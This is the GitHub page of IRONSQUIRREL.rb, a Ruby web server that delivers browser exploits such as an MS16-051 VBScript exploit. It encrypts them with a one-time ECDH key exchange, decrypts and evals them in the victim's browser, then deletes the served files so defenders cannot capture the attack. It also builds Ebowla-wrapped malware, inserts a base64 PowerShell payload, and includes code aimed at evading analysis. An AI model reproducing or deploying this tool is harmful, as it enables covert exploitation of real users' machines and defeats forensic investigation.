-
Notifications
You must be signed in to change notification settings - Fork 56
/
IRONSQUIRREL.rb
526 lines (435 loc) · 17.6 KB
/
IRONSQUIRREL.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
require 'openssl'
require 'digest'
require 'gibberish'
require 'socket'
require 'uri'
require 'cgi'
require 'rubygems'
require 'nokogiri'
require 'securerandom'
require 'stringio'
require 'webrick'
require 'optparse'
require 'find'
'''
## ## ######## ###### ######## ######## ######## #### ######## ### ######
### ### ## ## ## ## ## ## ## ## ## ## ## ## ##
#### #### ## ## ## ## ## ## ## ## ## ## ##
## ### ## ######## ## #### ###### ###### ###### ## ## ## ## ######
## ## ## ## ## ## ## ## ## ## ## ######### ##
## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ###### ######## ## ## #### ## ## ## ######
'''
'''
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
'''
# The port the webserver to listen on. Probably good idea to change to 80
listen_port = 2345
# Files will be served from this directory
WEB_ROOT = './public'
EXPLOITS = './exploits'
# In case Ebowla is used, configure it here. If Ebowla is not used, set use_ebowla_payload to false and leave the followings on default
use_ebowla_payload = false
EBOWLA_INSTALL_DIR = '/home/ubuntu/Ebowla/'
EBOWLA_EXE_PAYLOAD = '/home/ubuntu/ecdh/exploits/004.exe'
EBOWLA_EXE_PS1_OUTPUT = '/home/ubuntu/ecdh/output/powershell_symmetric_004.exe.ps1'
options = {}
OptionParser.new do |opt|
opt.on('--exploit EXPLOIT','Path to exploit') { |o| options[:exploit] = o }
end.parse!
if options[:exploit].nil?
puts "Choose your exploit file with --exploit full_path_to_exploit\nAvailable exploits: \n\n"
html_file_paths = []
Find.find(File.expand_path(File.join(File.dirname(__FILE__)),EXPLOITS)) do |path|
if path =~ /.*\.html$/
puts path
end
end
exit
end
# Map extensions to their content type
CONTENT_TYPE_MAPPING = {
'html' => 'text/html',
'js' => 'application/javascript',
}
# Treat as binary data if content type cannot be found
DEFAULT_CONTENT_TYPE = 'application/octet-stream'
#define the Ellyptic Curve Diffie Hellman key pair
class DH_key_pair
attr_accessor :server_key, :client_pub
def initialize(server_key = 0, client_pub = 0)
@server_key = server_key
@client_pub = client_pub
end
#add the client public key to the object
def add_client_pub(client_pub = 0)
@client_pub = client_pub
end
#get the server public key in hex format
def get_pub_hex
pub = self.server_key.public_key
pub_bin = pub.to_bn()
pub_hex = pub_bin.to_s(16)
pub_hex_x = pub_hex[2..65]
pub_hex_y = pub_hex[66..-1]
return pub_hex_x, pub_hex_y
end
end
#create ebowla malware
def generate_ebowla(key)
#add the newly generated public keys to the JS files
orig_config = File.read(EBOWLA_INSTALL_DIR + 'genetic.config')
orig_config.sub! 'myeggmyegghdjsfaskldj', key
File.open(EBOWLA_INSTALL_DIR + 'genetic.config.new', 'w') { |file| file.write(orig_config) }
#execute the Ebowla generator
value = system(EBOWLA_INSTALL_DIR + 'ebowla.py ' + EBOWLA_EXE_PAYLOAD + ' ' + EBOWLA_INSTALL_DIR + 'genetic.config.ecdh')
puts value
#encode PS1 for lazy bypass, should be changed for encryption
payload = File.read(EBOWLA_EXE_PS1_OUTPUT, :encoding => "ASCII", :mode=> "rb")
payload_base64 = Base64.encode64(payload.force_encoding('ASCII'))
File.open(WEB_ROOT + "/test.txt", 'w') { |file| file.write(payload_base64) }
end
def insert_powershell_payload(exploit, payload, egg)
#change egg to random - good for testing
#puts egg
fullegg = egg+egg
payload = File.read(payload, :encoding => "UTF-16LE", :mode=> "rb")
payload.sub! 'myeggmyegg'.encode("UTF-16LE"),fullegg.encode("UTF-16LE")
#puts payload
#echo "get-host" | iconv --to-code UTF-16LE | base64 -w 0
payload_base64 = Base64.encode64(payload.force_encoding('UTF-16LE')).delete!("\n") #base64 encode
new_exploit = File.read(exploit) #'ms16_051_vbscript_notepad.html'
new_exploit.sub! 'JAB0AGUAbQBwAEYAaQBsAGUAIAA9ACAAWwBpAG8ALgBwAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAARgBpAGwAZQBOAGEAbQBlACgAKQA7AGUAYwBoAG8AIAAiAEUAeABwAGwAbwBpAHQAIABzAHUAYwBjAGUAZQBkAGUAZAAhACIAIAA+AD4AIAAkAHQAZQBtAHAARgBpAGwAZQAgADsATgBvAHQAZQBwAGEAZAAgACQAdABlAG0AcABGAGkAbABlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=', payload_base64
File.open(exploit+ '.new', 'w') { |file| file.write(new_exploit) }
end
# get the cookie from the HTTP request
def get_session_cookie(request)
req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
req.parse(StringIO.new(request))
cookie_value = 'notfound'
for i in req
if i == 'cookie'
k = CGI::Cookie.parse(req[i])
cookie = k['session'].to_s
cookie_value = cookie.split(";")[0].split("=")[1] #FIXME
end
end
return cookie_value
end
#check if session cookie is valid
def validate_cookie(user_cookie, securecookie)
if user_cookie != securecookie
abort("Invalid cookie")
end
end
#generate the ECDH server secret key and store it
def dh_phase1()
server_key = OpenSSL::PKey::EC.new("secp256k1").generate_key
dh_key_pair = DH_key_pair.new(server_key,0)
return dh_key_pair
end
#convert client ECDH public key from sjcl format to Ruby format
def get_pub_point(client_pub)
client_pub_hex = "04" + client_pub.unpack("m0").first.unpack("H*").first
pointBN = OpenSSL::BN.new(client_pub_hex,16)
group = OpenSSL::PKey::EC::Group.new('secp256k1') #EC Group to be used
client_pub_point = OpenSSL::PKey::EC::Point.new(group, pointBN)
return client_pub_point
end
#now that we have the shared key, we can encrypt data
def dh_phase2(cipher,exploit_code)
encrypted = cipher.encrypt(exploit_code)
return encrypted
end
# This helper function parses the extension of the
# requested file and then looks up its content type.
def content_type(path)
ext = File.extname(path).split(".").last
CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)
end
#this method will parse the exploit HTML, and split into different parts in head and body
#JS code will be evaled, HTML code will be document.write, meta will be added without encryption
def parse_html(doc)
doc_objects = Array.new
#select all meta elements from head
head_static_elements = doc.xpath("//head//meta")
head_static_elements.each do |head_static_element|
doc_objects << ['head','static',head_static_element.to_s]
end
#select all non javascript, like static HTML or vbscript from head
head_docwrite_elements = doc.xpath('//head//*[not(self::script) and not(self::meta)] | //head//script[@type="text/vbscript"]')
head_docwrite_elements.each do |head_docwrite_element|
doc_objects << ['head','doc_write',head_docwrite_element.to_s]
end
#select all javascript from head
head_eval_elements = doc.xpath('//head//script[@type="text/javascript"] | //head//script[not(@type)]')
head_eval_elements.each do |head_eval_element|
doc_objects << ['head','eval',head_eval_element.children.text]
#puts head_eval_element.children.inspect
end
#select all non javascript, like static HTML or vbscript from body
body_docwrite_elements = doc.xpath('//body/*[not(self::script)] | //body/script[@type="text/vbscript"]')
body_docwrite_elements.each do |body_docwrite_element|
doc_objects << ['body','doc_write',body_docwrite_element.to_s]
end
#select all javascript from body
body_eval_elements = doc.xpath('//body//script[@type="text/javascript"] | //body//script[not(@type)]')
body_eval_elements.each do |body_eval_element|
doc_objects << ['body','eval',body_eval_element.children.text]
end
#p doc_objects
return doc_objects
end
# This helper function parses the Request-Line and
# generates a path to a file on the server.
def requested_file(request_line, full_req,dh_key_pair, options, use_ebowla_payload)
request_uri = request_line.split(" ")[1]
path = URI.unescape(URI(request_uri).path)
if path == '/dh.js'
#check if this is the next valid step in the chain
if $next_doc != 'dh.js'
abort("dh.js")
end
$next_doc = 'client_pub.html'
user_cookie = get_session_cookie(full_req)
validate_cookie(user_cookie,$securecookie)
dh_key_pair = dh_phase1()
pub_hex_x, pub_hex_y = dh_key_pair.get_pub_hex()
#add the newly generated public keys to the JS files
dh_orig_js = File.read(WEB_ROOT + '/dh.orig.js')
dh_orig_js.sub! '<INSERT_pub_server_hex_x_HERE>', '"' + pub_hex_x + '"'
dh_orig_js.sub! '<INSERT_pub_server_hex_y_HERE>', '"' + pub_hex_y + '"'
File.open(WEB_ROOT + '/dh.js', 'w') { |file| file.write(dh_orig_js) }
end
if path =='./dh.orig.js'
abort('Accessing DH orig is forbidden')
end
if path == '/client_pub.html'
#check if this is the next valid step in the chain
if $next_doc != 'client_pub.html'
abort("client_pub.html")
end
$next_doc = 'final.html'
user_cookie = get_session_cookie(full_req)
validate_cookie(user_cookie,$securecookie)
uri = URI.parse(request_uri).query
params = CGI.parse( uri)
#get the client ECDH public key
client_pub = params["cl"]
client_pub_point = get_pub_point(client_pub[0])
dh_key_pair.add_client_pub(client_pub_point)
shared_key = dh_key_pair.server_key.dh_compute_key(dh_key_pair.client_pub)
cipher = Gibberish::AES.new([shared_key].pack("m0"),{iter: 101})
puts options[:exploit]
doc = Nokogiri::HTML(open(options[:exploit]))
doc_objects = Array.new
doc_objects = parse_html(doc)
head_static = Array.new
head_docwrite_enc = Array.new
head_eval_enc = Array.new
body_docwrite_enc = Array.new
body_eval_enc = Array.new
for i in doc_objects
if i[0] == 'head'
if i[1] == 'static'
head_static << i[2]
elsif i[1] == 'doc_write'
head_docwrite_enc << dh_phase2(cipher,i[2])
elsif i[1] == 'eval'
head_eval_enc << dh_phase2(cipher,i[2])
end
elsif i[0] == 'body'
if i[1] == 'doc_write'
body_docwrite_enc << dh_phase2(cipher,i[2])
elsif i[1] == 'eval'
body_eval_enc << dh_phase2(cipher,i[2])
end
end
end
dh_key_pair = ''
header = "<html><head>\n"
#add static meta elements to the header
for i in head_static
header = header << i << "\n"
end
header = header << '<meta content="text/html;charset=utf-8" http-equiv="Content-Type"><meta content="utf-8" http-equiv="encoding"><script type="text/javascript" src="./sjcl.js"></script><script>function loaded() {sjcl.random.startCollectors();}'+"\n"
#add the document.write elements to the header
for i in head_docwrite_enc
header = header << 'document.write(sjcl.decrypt(sessionStorage.SK_base64,\''+ i +'\'));' << "\n"
end
#add the JS eval elements to the header
for i in head_eval_enc
header = header << 'eval(sjcl.decrypt(sessionStorage.SK_base64,\''+ i +'\'));' << "\n"
end
#close header, start body
header = header << "</script></head><body><script>\n"
#add the document.write elements to the body
body = ''
#I experienced with detecting the browser debug window, no luck
#body = body << "var element = new Image();element.__defineGetter__('id', function() {window.stop();throw new Error('Something went badly wrong!');});console.log(element);"
#body = body << 'if(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized){window.stop();throw new Error("Something went badly wrong!");}'
for i in body_docwrite_enc
body = body << 'document.write(sjcl.decrypt(sessionStorage.SK_base64,\''+ i +'\'));' << "\n"
end
#add the eval elements to the body
for i in body_eval_enc
body = body << 'eval(sjcl.decrypt(sessionStorage.SK_base64,\''+ i +'\'));' << "\n"
end
if use_ebowla_payload
egg_code = dh_phase2(cipher,"var myegg='" + EBOWLA_KEY + "';")
body = body << 'eval(sjcl.decrypt(sessionStorage.SK_base64,\''+ egg_code +'\'));' << "\n"
end
#clear the session key from the client, no longer needed
body = body << "sessionStorage.SK_base64='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';";
#remove full DOM
body = body << "document.removeChild(document.documentElement);";
#close tags
body = body << "</script></body></html>";
File.open(WEB_ROOT + '/final.html', 'w') { |file| file.write(header + body) }
end
if path == '/final.html'
#if more than 10 seconds passed between the first and the final request, timeout, don't deliver exploit
delta = Time.now.to_i - $start_time
if delta > 10
abort("Timeout")
end
#check if this is the next valid step in the chain
if $next_doc != 'final.html'
abort("final.html")
end
$next_doc = 'test.txt'
user_cookie = get_session_cookie(full_req)
validate_cookie(user_cookie,$securecookie)
end
clean = []
# Split the path into components
parts = path.split("/")
parts.each do |part|
# skip any empty or current directory (".") path components
next if part.empty? || part == '.'
# If the path component goes up one directory level (".."),
# remove the last clean component.
# Otherwise, add the component to the Array of clean components
part == '..' ? clean.pop : clean << part
end
# return the web root joined to the clean path
return File.join(WEB_ROOT, *clean), dh_key_pair
end
myegg = SecureRandom.hex[0..5]
if use_ebowla_payload
EBOWLA_KEY = myegg + myegg + SecureRandom.hex
generate_ebowla(EBOWLA_KEY)
insert_powershell_payload(EXPLOITS + '/IE/ms16_051_vbscript_notepad.html', EXPLOITS + '/IE/findegg.ps1', myegg)
end
#start new TCP server
server = TCPServer.new('0.0.0.0', listen_port)
#generate the ECDH server secret key
dh_key_pair = DH_key_pair.new()
puts 'Listening on ' + listen_port.to_s
final = 0
$next_doc = 'index.html'
$sjcl_counter = 0
loop do
begin
#read for requests
Thread.fork(server.accept) do |socket|
request_line = socket.gets
STDOUT.puts request_line
full_req = request_line
while line = socket.gets
full_req = full_req << line
break if line =~ /^\s*$/
end
unless request_line.nil?
#do special things when a resource is requested
path, dh_key_pair_temp = requested_file(request_line,full_req, dh_key_pair, options, use_ebowla_payload)
if dh_key_pair_temp != 0
dh_key_pair = dh_key_pair_temp
end
path = File.join(path, 'index.html') if File.directory?(path)
# Make sure the file exists and is not a directory
# before attempting to open it.
if File.exist?(path) && !File.directory?(path)
File.open(path, "rb") do |file|
cookie = ''
#we start the chain in index.html, this will be treated differently
if path == './public/index.html'
$start_time = Time.now.to_i
#generate a new cookie, which will be checked during the session
$securecookie = SecureRandom.hex
cookie = 'Set-Cookie: session=' + $securecookie + "\r\n"
if $next_doc != 'index.html'
#abort("index")
end
$next_doc = 'dh.js'
end
response =
"HTTP/1.1 200 OK\r\n" +
"Content-Type: #{content_type(file)}\r\n" +
"Content-Length: #{file.size}\r\n" +
cookie +
"Connection: close\r\n"
response = response + "Cache-Control: no-cache, no-store, must-revalidate\r\n" +
"Pragma: no-cache\r\n" +
"Expires: 0\r\n"
socket.print response + "\r\n"
# write the contents of the file to the socket
IO.copy_stream(file, socket)
end
else
message = "File not found\n"
# respond with a 404 error code to indicate the file does not exist
socket.print "HTTP/1.1 404 Not Found\r\n" +
"Content-Type: text/plain\r\n" +
"Content-Length: #{message.size}\r\n" +
"Connection: close\r\n"
socket.print "\r\n"
socket.print message
end
end
socket.close
#remove the temporary generated files
if File.exist?(WEB_ROOT + '/dh.js')
File.delete(WEB_ROOT + '/dh.js')
end
#remove the temporary generated files
if path == WEB_ROOT + '/final.html'
if File.exist?(WEB_ROOT + '/final.html')
File.delete(path)
end
end
#create onetime exploit. If both final.html and sjcl.js was served, we are done
if path == './public/final.html'
final = 1
end
if path == './public/sjcl.js'
final += 1
end
if path == './public/test.txt'
final += 1
end
steps_to_finish = 2
if use_ebowla_payload
steps_to_finish = 3
end
if final == steps_to_finish
$securecookie = "ruiq34hruefslsdkf4r" #just overwrite with Debian random
abort("The end")
final = 0
end
end
rescue Errno::ECONNRESET => e
STDERR.puts "ignoring ECONNRESET"
rescue Errno::EPIPE => e
STDERR.puts "ignoring EPIPE"
end
end